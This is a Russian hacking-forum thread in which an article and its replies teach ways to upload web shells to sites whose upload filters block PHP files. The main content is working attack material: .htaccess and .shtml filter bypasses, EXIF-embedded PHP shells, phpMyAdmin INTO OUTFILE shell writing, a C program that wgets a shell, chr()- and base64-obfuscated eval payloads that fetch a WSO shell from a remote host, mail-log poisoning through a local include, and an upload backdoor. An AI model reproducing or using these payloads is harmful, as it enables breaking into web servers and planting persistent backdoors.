ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Не стандартные способы заливки шелла (https://forum.antichat.xyz/showthread.php?t=307894)

Osstudio 11.12.2011 21:08

Нестандартные способы заливки шелла

Нестандартные способы заливки шелла


Итак, сегодня мы будем разбирать несколько далеко не стандартных способов заливки шелла.

(В конце изложения имеются линки на видео к статье)

Шелл - оболочка операционной системы (от англ. shell — оболочка) — интерпретатор команд операционной системы, обеспечивающий интерфейс для взаимодействия пользователя с функциями системы.

Эту статью вам нужно читать в двух случаях:

1.) Для общего развития

2.) Если у вас не получается штатными методами залить шелл. (!!!)

Способ №1 - "Обход фильтрации"


Допустим, формат .php не заливается, также .php2/.php3/.php4/.php5/ и даже .php.jpg/.php.abc.Варианты решения:

1.) Попробуйте залить .phtml - это также расширение семейства PHP.

2.) Создаём файлик .htaccess, и вписываем в него следующее:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg

AddHandler application
[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][/COLOR

Сохраним.. там, где .jpg можете указать любой понравившийся вам формат, хоть .hacker ( ).

Теперь попробуем залить наш .htaccess и вслед за ним шелл, с расширением, указанным в .htaccess'e

???

PROFIT!!!


Примечание: .htaccess - файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов.

3.) Если методы выше не работают, то расскажу о очень интересном формате - ".shtml".

Цитата:

Сообщение от None
SSI (Server Side Includes — включения на стороне сервера) — несложный язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Реализован в веб-сервере Apache при помощи модуля mod_include. Включённая в настройках по умолчанию веб-сервера возможность позволяет подключать HTML-файлы, поэтому для использования инструкций файл должен оканчиваться расширением .shtml, .stm или .shtm

Вся прелесть в том, что 95% администраторов либо вообще не знают что это такое, либо просто напросто забывают добавить этот формат в "чёрный список". А теперь советую поподробней прочитать, что это такое, залить такой файлик на сервер, и закачать шелл...

Также бывает, что если мы создадим файл file.shtm?cmd=... то в большинстве случаев скрипт не хотел выполнять системные команды, которые содержат пробел. т.е. "id" он выполнял, "ls" - тоже, а "uname -a" - нет, потому что содержит пробел. Таким образом все фишки типа "wget http://shell.com/shell.php" обламывались. Но не отчаиваетесь - выход есть:

Можно написать и скомпилировать програмку, которая выполняет системную команду скачивания шелла (через wget). скомпилировать, и залить её. Потом через SSI скрипт просто напросто выполнить её.

Код примера программы:

Код:

#include
#include

int main ()
{
  system("wget [Путь_к_шеллу]");
  return 0;
}

Код самый примитивный, описание команд:

System - команда для выполнения команд ( ) системного интерпретатора.

Wget - свободная не-интерактивная консольная программа для загрузки файлов по сети. Поддерживает протоколы HTTP, FTP и HTTPS, а также поддерживает работу через HTTP прокси-сервер. Программа включена почти во все дистрибутивы GNU/Linux

return - это то что мы "возвратим" программе, в данном случае ничего

include - подключение библиотек компилятора.

int main - главная "процедура" (наподобие функции) программы.

P.S Варианты shell.php.jpg тут не рассматриваются, т.к о них и так все знают.

(Спасибо Mailbrush'у за предоставленный вариант).

4.) Ну, а этот вариант - это использовать плагин на подобии "Tamper Data" (Firefox). Можно перехватить запрос, и изменить расширение, но такой метод самый маловероятный. Обычно он спасает в тех случаях, если php не разрешает какой-нибудь JavaScript.

5.) Пятый вариант - это отличный баг Windows, а именно, иногда сайт не разрешает закачивать PHP таким образом, что когда нажимаешь к примеру на кнопку "Обзор", то он показывает только файлы изображений, и т.п. Но не отчаивайтесь - просто нажмите на этот "Обзор" ( ) зайдите в директорию с шеллом, и наберите тут его имя:

http://i31.fastpic.ru/big/2011/1211/...40549869c9.png

И нажмите "Открыть", шелл успешно откроется, и закачается

6.) Ну а этот метод не входит в "не стандартную" категорию, он заключается в том, что банальный создатель говорит, что разрешено дескать только .jpg и т.д, но на самом деле это не всегда так, достаточно залить PHP сценарий (шелл), и он будет отлично работать. Как вы поняли - никакой фильтрации нету полностью (ну или уж через чур кривая )

7.) А этот способ предложил нам |qbz|:

Цитата:

Сообщение от None
Например у нас есть какая-нить CMS-ка или даже просто самописный двиг, в котором где-то, куда-то иногда отправляются письма. Например, с активацией регистрации и так далее. Дело в том, что такие письма могут быть локально сохранены на nix-системах. Если рассматривать как пример форму активации аккаунта, то введем, например, как логин eval($_GET['c']); а как свое мыло впишем apache@localhost. Таким образом письмо будет отправлено на тот же демон хттпд и сохранено где-то в /var/mail с именем юзера хттпд. Думаю далее действия очевидны, имея, например, локальный инклуд мы можем прогрузить шелл инклудя письмецо с передачей кода загрузки шелла в параметре $_GET['c'].

То есть объясняя другими словами, вы в админке через отправку почты отправляете её на локальный хост, и это сохранится в "спец.папках", затем через уязвимость PHP Include мы инклудим этот файлик и таким образом можем воспроизвести PHP сценарий. Для домохозяек, PHP Include - это загрузка какого-либо файла (в нашем случае PHP скрипта) на страницу пользователя, как то так)) Подробнее можете погуглить....

8.) Ну этот способ называется шелл в картинке, или exif шелл Итак, начнём:

Часто мы пытаемся загрузить наш шелл в формате .jpg и т.п но также часто попадаются файломенеджеры которые с доброй харей любезно сжимают файл да ещё и размер, и понятное дело наш шелл так не заработает, тогда воспользуемся волшебной штукой под названием exif, а делаем так:

Берём например paint, создаём картинку хоть 1x1 пикселей, сохраняем в формате .gif или как вам удобней, затем юзаем тулзы для добавления "комментария" к фотке, то есть exif, для этого например подойдёт gimp, открываем в нём наше фото, нажимаем сохранить к примеру в формате .gif и пишем там где Comment или Комментарий, или ещё чего наш код от мини шелла, то есть , сохраняем, льём, делаем так http://site.com/foto.gif?cmd=phpinfo(); и радуемся! также такие "комментарии" можно вставить и в hex редакторе...

Подробнее тут

Способ №2 - Хитрости PhpMyAdmin


Допустим, вы получили доступ к PhpMyAdmin, и вам даже посчастливилось, что File_Priv=Y и Обновление таблиц тоже = Y. Тогда нажимает SQL (Может называться и по другому, и она сверху ). И вписываем следующее:

Код:

UPDATE `table_name` SET `column_name_1` = '' WHERE `column_name_2` =[Значение] LIMIT 1 ;
SELECT * FROM `table_name` WHERE `column_name_2` =[Значение] INTO OUTFILE '[Полный_путь_до_папки_с_правами_закачки_файла/shell.php]' ;

Запросы весьма банальны!

Первый запрос гласит о том, что мы изменяем (обновляем) колонку column_name_1 в таблице table_name, где column_name_2 = какому-либо значению.

Второй запрос "выдёргивает" данные из колонки column_name_2, находящейся в таблице table_name, и выдёргивает из той, где column_name_2 равен какому-либо значению, затем это логируется в какой-либо файл.

Теперь переходим по адресу

Код:

host.com/пут_до_той_папки_что_вы_указали/shells.php
Пояснения:

table_name - имя таблицы в БД.

column_name_1 - эта колонка, которую мы будем "изменять".

column_name_2 - это колонка, например id, показывает, какую именно запись в БД мы будем редактировать. Например, column_name_2=id, а table_name=users. Это значит, что мы будем изменять запись в таблице users, где id=n (любое число).

Вы, вероятно обратили внимание, что весь php на одной строке и без пробелов, а это не случайность - это всё для вселюбимой PhpMyAdmin, если записать сюда код с переходами на другую строку, то он обязательно вставить "/" перед переходом, что соответственно вызовет ошибку в php скрипте. И ещё нельзя использовать ' ...

Также можно вместо:

Код:


Мы можем просто вписать:

Код:


Eval выполняет функции php, как вы видите, это мини шелл... используют так:

Код:

host.com/пут_до_той_папки_что_вы_указали/shells.php?cmd=function_php;
Способ (Можно сказать, часть...) №3 - Что касается "Мини-шелла"


Итак, опять же допустим, что вы закачали "мини шелл", но теперь бы вам надо залить нормальный, WSO к примеру.

Пробуем:

Код:

http://host.ru/shell.php?cmd=$url = "Ссылка_на_шелл.txt";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);
Но тут очень часто бывает облом - либо нельзя, чтобы был пробел, либо нельзя, чтобы были кавычки. "Заброшу ка я сервер" - наверное подумали вы.. но нет, конечно, вы правы, чтобы задать тип переменной в php типа string, не мешало бы значение поместить в кавычки, а вот оказывается нет. Достаточно использовать функцию chr(); Эта функция "преобразовывает" ASCII в "обычный текст", таблицу таких символов можно взять тут - http://www.asciitable.com/

И соответственно, получаем код, к примеру (рабочий):

$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47 ).chr(47).chr(108).chr(101).chr(103).chr(105).chr( 111).chr(110).chr(101).chr(114).chr(115).chr(56).c hr(56).chr(46).chr(110).chr(97).chr(114).chr(111). chr(100).chr(46).chr(114).chr(117).chr(47).chr(101 ).chr(114).chr(114).chr(111).chr(114).chr(46).chr( 116).chr(120).chr(116);

Как видите, без кавычек, а тип будет String Так что теперь делаем код:

Код:

$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);$content = file_get_contents($url);$h = fopen(shells.chr(46).php,w);$text = $content;fwrite($h,$text);fclose($h);
И вставляем его в "?cmd=" и получаем в том же каталоге что и мини-шелл, настоящий, хороший шелл, который будет по адресу shells.php..

Заметка: Скорее всего, вы заметили, что у меня написано "shells.chr(46).php", а я объясню, 46 - это точка в "Dec", а имя файла у нас без кавычек, и если бы мы написали shells.php то он бы сохранился как shellsphp, то есть без расширения, т.к точка - это тоже функция в PHP, но я земенил её на shells.chr(46).php и получаем на выходе "shells.php". Вот так, удачи Вам!

Впринципе, можно сделать место функции chr() например так:

Код:

$url=$_GET[urlz]; $content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);
И задавать так:

Код HTML:

site.com/eval.php?cmd=$url=$_GET[url];$content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);&url=url_загружаемого_файла&file=название_файла_на_выходе
В этом скрипте кстати тоже всё довольно просто

Цитата:

Сообщение от None
$url=$_GET[урл]

- это мы задаём значение переменной URL взятое из GET переменной URL.

Цитата:

Сообщение от None
$content= file_get_contents($url)

- тут мы присваиваем переменной Content значение документа, находящемся по адресу из переменной URL.

Цитата:

Сообщение от None
$h=fopen($_GET[file],w)

- открываем локальный файл $_GET[file] для записи.

Цитата:

Сообщение от None
$text=$content

- подставляем значение переменной text из переменной content.

Цитата:

Сообщение от None
fwrite($h,$text)

- записываем в файл, открытый для записи в переменной "h" значение из переменной text.

Цитата:

Сообщение от None
fclose($h)

- закрываем открытый файл из переменной h для записи в него текста.

Также такой код можно представить так:

Цитата:

Сообщение от None
fwrite(fopen($_GET[file],w),file_get_contents($_GET[переменная_с_урл]));fclose(fopen($_GET[file],w));

и юзать так:

Цитата:

Сообщение от None
http://site.ru/?url=LINK&file=FILE_NAME

А также, можно использовать Base64.

- Но ведь он оканчивается на "==" ??

спросите вы, но вот и нет, этот хвост можно убрать, и код продолжит также прекрасно работать!

например, PHPInfo() будет выглядеть так:

Код:


Урежем:

Код:


Видим, что всё работает)

теперь можем убрать кавычки, юзаем так:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]site[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ru[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]index[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]cmd[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]base64_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]cGhwaW5mbygpOw[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Использовать кодировщик рекомендую тут http://base64.ru

или тут:

http://tools.0x0000ed.com/base64.php

Есть мини-шелл, но нету прав =(

Допустим, вы залили шелл, и напихали везде мини-шеллов, но ваш шелл потёрли, и урезали права во всех папках, либо другая причина, по которой вы не можете залить нормальный шелл из миника.

Для этого делаем так:

Идём сюда:

http://base64.ru/

Там вписываем такой код:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"ПУТЬ_К_ШЕЛЛУ"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$h[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"имя_файла_мини-шелла"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]w[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$h[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$h[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

шифруем это в base64, у меня вышло так:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw[/COLOR][/COLOR

Тогда юзаем так:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.ru/mini.php?cmd=eval(base64_decode(JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw));[/COLOR][/COLOR] 

теперь обновляем страничку с мини-шеллом, и видим полноценный шелл...

Окончание:

Это всего-лишь малая часть всех чудных способов не стандартной заливки, я просто попытался направить вас на тот путь, что выход есть всегда (почти ).

С уважением, Osstudio!

Подборка видео к статье:

"Заливка шелла через PhpMyAdmin. Из мини-шелла в WSO."

Ereee 11.12.2011 21:12

Эмм.. А я думал это и есть стандартные способы

Osstudio 11.12.2011 22:27

Цитата:

Сообщение от Ins3t
скучно. все это уже давным давно есть на античате.

Видел не всё, что из этого следует - что всё разбито на куски, а я собрал всё воедино.

Niggеr 11.12.2011 22:42

Отличная статья! Написано очень грамотно и методы актуальнейшие, сразу видно проффесионала в своей области! ТС пиши почаще...

Osstudio 11.12.2011 23:51

Цитата:

Сообщение от Ins3t
актуальнее не бывает
простите, не удержался.

Методы действительно актуальные

А если вы располагаете новыми, прошу в ЛС на описание, добавим в статью

Niggеr 12.12.2011 01:16

Цитата:

Сообщение от Osstudio
Методы действительно актуальные
А если вы располагаете новыми, прошу в ЛС на описание, добавим в статью

Есть еще один очень не стандартный метод - форма аплоада в панелях администрирования. Не плохо было бы написать статью...

mailbrush 12.12.2011 01:55

ТС, запости это на рдоте, ок?

Ins3t 12.12.2011 03:59

Цитата:

Сообщение от None
Эта сарказм или что, я не могу понять? Требую объяснений! Забаньте этого тролля кто-нибудь, модеры вы где?
А статья классная, видна рука мастера!!

да что ты заладил, рука мастера да рука мастера. аж читать противно.

Цитата:

Сообщение от None
Есть еще один очень не стандартный метод - форма аплоада в панелях администрирования. Не плохо было бы написать статью...

если это не стандартный метод, то какой по твоему стандартный?

загрузка шелла по фтп с одобрения админа что ли?

попугай 12.12.2011 05:58

Цитата:

Сообщение от Ereee
Эмм.. А я думал это и есть стандартные способы

Точно.

Заголовок, кстати, исправьте.

Melfis 12.12.2011 12:17

Цитата:

Сообщение от None
2.) Создаём файлик .htaccess, и вписываем в него следующее: ... Сохраняем ...

Ааа!! Сайт не работает!! Паника!! Я первый раз на ачат зашел, попробовал залить этот файлик, а потом все перестало работать!!

Лучше бы про это расписать. Такие примеры на ачате видел.

Osstudio 12.12.2011 18:59

Цитата:

Сообщение от Ins3t
да что ты заладил, рука мастера да рука мастера. аж читать противно.

Противно читать - не читай. Я старался и убил несколько часов. Честно старался специально для Античата. И по твоему сообщению, "Актуальней не бывает" - разве, какой-то метод не рабочий? И не так просто найти подобную статью на античате, где уже всё есть в одном флаконе, зачем бедным юзерам рыть во всём форуме, в поисках нужной ему инфы? Как минимум, это уменьшит нагрузку на сервера

P.S Кстати, знаешь мне почему обидна критика к моей статье? Да потому-что почти все методы я сам придумал. Хоть они уже и были..

Так что рекомендую промолчать, новометоцец.

GrandMaster 12.12.2011 19:38

Цитата:

Сообщение от None
и убил несколько часов

На что?

P.s ТС, редко бывает черный список форматов, которые нельзя заливать. Скорее бывает "белый" список

Osstudio 12.12.2011 19:42

Цитата:

Сообщение от GrandMaster
На что?
P.s ТС, редко бывает черный список форматов, которые нельзя заливать. Скорее бывает "белый" список

На статью. Нет, очень даже не редко, если 2 раза хекал сайты, попробуй ещё, чтобы увидеть, чего нету, чего есть

Например эти редакторы сообщений в админке..

Unknown 12.12.2011 21:56

Интересная статья, много подчеркнул для себя

shadowrun 12.12.2011 21:56

Ждем видео

Osstudio 12.12.2011 22:41

Цитата:

Сообщение от shadowrun
Ждем видео

Сейчас записываю, как заливать шелл в PhpMyAdmin, причем, в боевых условиях.

Konqi 12.12.2011 23:44

Цитата:

Сообщение от Osstudio
P.S Кстати, знаешь мне почему обидна критика к моей статье? Да потому-что почти все методы я сам придумал.

тогда это целый научный труд

чтоб меня убили, пожарили и съели..

попугай 12.12.2011 23:46

Цитата:

Сообщение от Osstudio
Сейчас записываю, как заливать шелл в PhpMyAdmin, причем, в боевых условиях.

Надеюсь, это хотя бы как минимум реализация unserialize-багов? Иначе, можешь остановиться прямо сейчас.

Osstudio 12.12.2011 23:46

Цитата:

Сообщение от Konqi
тогда это целый научный труд

Именно

Цитата:

Сообщение от AnGeI
Стандартные способы заливки шелла - это ..... ?

shell.php )) Возможно, я погорячился с названием

UPD: Сделал 1 видео, ссылка в конце статьи

Osstudio 13.12.2011 00:31

Цитата:

Сообщение от aydin-ka
Узнал новые вещи
спасибо за статью)

Думаю, скоро выложу видео по обходу фильтров, и хватит, т.к в первом видео я специально сразу шелл заливать не стал, а сначала мини-шелл, а уже затем, из него полноценный. Причём сразу с функцией chr();

|qbz| 13.12.2011 01:30

С одной стороны, зная возраст ТС, как-то не хочется критиковать. Ведь это еще "начала", и на данном этапе у ТС ярко выражен энтузиазм и желание открыть что-то новое как для себя, так и для других.

Но с другой стороны меня всегда поражают люди (причем не с хорошей стороны), которые выходят танцевать на сцену, дабы показать зрителям их мастерство после недели-двух тренировок.

Думаю мысль моя ясна и понятна.

Я посмею дополнить топик еще одним способом, о котором знаю, а именно заливка шелла через обычное мыльное письмецо. Делается просто. Например у нас есть какая-нить CMS-ка или даже просто самописный двиг, в котором где-то, куда-то иногда отправляются письма. Например, с активацией регистрации и так далее. Дело в том, что такие письма могут быть локально сохранены на nix-системах. Если рассматривать как пример форму активации аккаунта, то введем, например, как логин eval($_GET['c']); а как свое мыло впишем apache@localhost. Таким образом письмо будет отправлено на тот же демон хттпд и сохранено где-то в /var/mail с именем юзера хттпд. Думаю далее действия очевидны, имея, например, локальный инклуд мы можем прогрузить шелл инклудя письмецо с передачей кода загрузки шелла в параметре $_GET['c'].

Vici 13.12.2011 02:02

"Мини-шелл", - убило нах

Вообще, ТС, твой "мини-шелл" правильно называть бэк-дором.

И это есть стандартные методы заливки.

Если бы обьяснил как сделать инклуд бэк-дора в index.php к примеру, то статья заслужила бы название "не стандартные..."

trololoman96 13.12.2011 07:35

Это все конечно хорошо, но обсуждалось уже 100500 раз, смотреть нужно по ситуации, что там есть чтобы залиться, не только же через админки льют. И про phpmyadmin тоже обсуждалось, и видео такое же снимали...

Дополнение тебе:

При неправильной конфигурации сервера если залить на сервер что то типа такого asdf.php.asdf, то есть вероятность что выполниться php. Потому как сервер будет сначала искать расширение asdf и после того как не найдет выполнит php. (могу конечно ошибаться с описанием, но такой способ у меня срабатывал несколько раз как на nix так и на windows серверах).

Osstudio 13.12.2011 15:17

Цитата:

Сообщение от |qbz|
С одной стороны, зная возраст ТС, как-то не хочется критиковать. Ведь это еще "начала", и на данном этапе у ТС ярко выражен энтузиазм и желание открыть что-то новое как для себя, так и для других.
Но с другой стороны меня всегда поражают люди (причем не с хорошей стороны), которые
выходят танцевать на сцену
, дабы показать зрителям их мастерство после недели-двух тренировок.
Думаю мысль моя ясна и понятна.
Я посмею дополнить топик еще одним способом, о котором знаю, а именно заливка шелла через обычное мыльное письмецо. Делается просто. Например у нас есть какая-нить CMS-ка или даже просто самописный двиг, в котором где-то, куда-то иногда отправляются письма. Например, с активацией регистрации и так далее. Дело в том, что такие письма могут быть локально сохранены на nix-системах. Если рассматривать как пример форму активации аккаунта, то введем, например, как логин eval($_GET['c']); а как свое мыло впишем apache@localhost. Таким образом письмо будет отправлено на тот же демон хттпд и сохранено где-то в /var/mail с именем юзера хттпд. Думаю далее действия очевидны, имея, например, локальный инклуд мы можем прогрузить шелл инклудя письмецо с передачей кода загрузки шелла в параметре $_GET['c'].

За способ спасибо, обязательно добавлю. А на счёт опыта в погорячились.. спросите хоть у WinsTrooll'a , и он вам ответит, что работаем уже не первый год

Цитата:

Сообщение от Vici
"Мини-шелл", - убило нах
Вообще, ТС, твой "мини-шелл" правильно называть бэк-дором.
И это есть стандартные методы заливки.
Если бы обьяснил как сделать инклуд бэк-дора в index.php к примеру, то статья заслужила бы название "не стандартные..."

Такой вид шелла/бек-дора не раз назывался на хакслэнге мини-шеллом, так что споров тут быть не должно, кролик.

Цитата:

Сообщение от trololoman96
Это все конечно хорошо, но обсуждалось уже 100500 раз, смотреть нужно по ситуации, что там есть чтобы залиться, не только же через админки льют. И про phpmyadmin тоже обсуждалось, и видео такое же снимали...
Дополнение тебе:
При неправильной конфигурации сервера если залить на сервер что то типа такого asdf.php.asdf, то есть вероятность что выполниться php. Потому как сервер будет сначала искать расширение asdf и после того как не найдет выполнит php. (могу конечно ошибаться с описанием, но такой способ у меня срабатывал несколько раз как на nix так и на windows серверах).

Не замечал, чтобы это уж прямо ВСЁ обсуждалось 100500 раз, ведь когда-то сам искал, и найти не мог. А что касается "asdf.php.asd" - то это и есть самый банальный способ залития шелла, и все о нём знают.

попугай 13.12.2011 20:19

Уберите либо "не" из заголовка, либо пробел после "не". Желательно первое.

|qbz| 13.12.2011 20:32

Цитата:

Сообщение от None
За способ спасибо, обязательно добавлю. А на счёт опыта в погорячились.. спросите хоть у WinsTrooll'a , и он вам ответит, что работаем уже не первый год

Кто это? И если не первый год, ты в яслях начал что-ли хачить?

Osstudio 13.12.2011 22:16

Цитата:

Сообщение от |qbz|
Кто это?
И если не первый год, ты в яслях начал что-ли хачить?

Кто это? да вот же /member.php?u=33917

Меня в яслях небыло.

Fooog 14.12.2011 00:18

Спасибо. Оформлено читабельно.

Видно что ТС старался, в написании и оформлении статьи.

Osstudio 14.12.2011 00:52

Цитата:

Сообщение от Fooog
Спасибо. Оформлено читабельно.
Видно что ТС старался, в написании и оформлении статьи.

Да, на этот раз много усилий приложил к оформлению.

Ereee 14.12.2011 06:43

Доп:

1.Вообще можно заевалить WSO без его физической загрузки на сервер. Для этого убираем Остальное заевалим таким способом:

http://site.ru/backdoor.php?cmd=eval(file_get_contents('http://url/ws.txt'));

2. Загрузка прямо из компьютера, евалим это:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"

Shell:

"
[/COLOR][COLOR="#007700"];

if(!empty([/
COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]))

{

@[/
COLOR][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]],

[/
COLOR][COLOR="#DD0000"]'./'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]) ?

print[/COLOR][COLOR="#DD0000"]'File '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]].

[/
COLOR][COLOR="#DD0000"]' uploaded!
'
[/COLOR][COLOR="#007700"]: print[/COLOR][COLOR="#DD0000"]'Try...
'";

}[/COLOR][/COLOR] 

.

Jopashnik 14.12.2011 10:32

СПС тебе тс, критиковать все могут, а сами не то что статью, тупо помочь в чем то обламываются и ответить на вопросы новичков бояться, что если новичек узнает и начнет шарить в чем то то все их бизу конец

Osstudio 14.12.2011 14:40

Цитата:

Сообщение от Ereee
Доп:
1.Вообще можно заевалить WSO без его физической загрузки на сервер. Для этого убираем Остальное заевалим таким способом:
http://site.ru/backdoor.php?cmd=eval(file_get_contents('http://url/ws.txt'));
2. Загрузка прямо из компьютера, евалим это:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"

Shell:

"
[/COLOR][COLOR="#007700"];

if(!empty([/
COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]))

{

@[/
COLOR][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]],

[/
COLOR][COLOR="#DD0000"]'./'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]) ?

print[/COLOR][COLOR="#DD0000"]'File '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$HTTP_POST_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'uploadfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]].

[/
COLOR][COLOR="#DD0000"]' uploaded!
'
[/COLOR][COLOR="#007700"]: print[/COLOR][COLOR="#DD0000"]'Try...
'";

}[/COLOR][/COLOR] 

.

"eval(file_get_contents('http://url/ws.txt'));" зачем ты написал эвал, если cmd=... итак эвалится?

Как было написано в статье, то почти всегда нельзя использовать кавычки, и поэтому я и использовать chr(); И без физ.загрузки это уже не "шелл на сервере", да и зачем такая сложная форма загрузки на сервер? в моей статье всё расписано, как проще сделать.

Цитата:

Сообщение от Jopashnik
СПС тебе тс, критиковать все могут, а сами не то что статью, тупо помочь в чем то обламываются и ответить на вопросы новичков бояться, что если новичек узнает и начнет шарить в чем то то все их бизу конец


P.S И вообще, дорогие РОА, МОА, сами посмотрите, что кроме вас, которые это уже знают, есть очень много людей, которым это нужно.

Ereee 14.12.2011 16:53

Osstudio, а разница?)

Osstudio 14.12.2011 17:04

Цитата:

Сообщение от Ereee
Osstudio
, а разница?)

Смотря в чём

KolosJey 14.12.2011 17:18

Цитата:

Сообщение от Osstudio
"eval(file_get_contents('http://url/ws.txt'));" зачем ты написал эвал, если cmd=... итак эвалится?

::facepalm::

Цитата:

Сообщение от Osstudio
Как было написано в статье, то почти всегда нельзя использовать кавычки, и поэтому я и использовать chr();

Открой для себя функции php. Начни со stripslashes().

Цитата:

Сообщение от Osstudio
чтобы задать тип переменной в php типа string, не мешало бы значение поместить в кавычки, а вот оказывается нет. Достаточно использовать функцию chr(); Эта функция "преобразовывает" ASCII в "обычный текст"

Да фиг с ними с функциями, тайна: данные с реквеста php и так принимает строковыми, а если бы он делал по другому случилось бы страшное безобразие, поверь мне. (только никому!!)

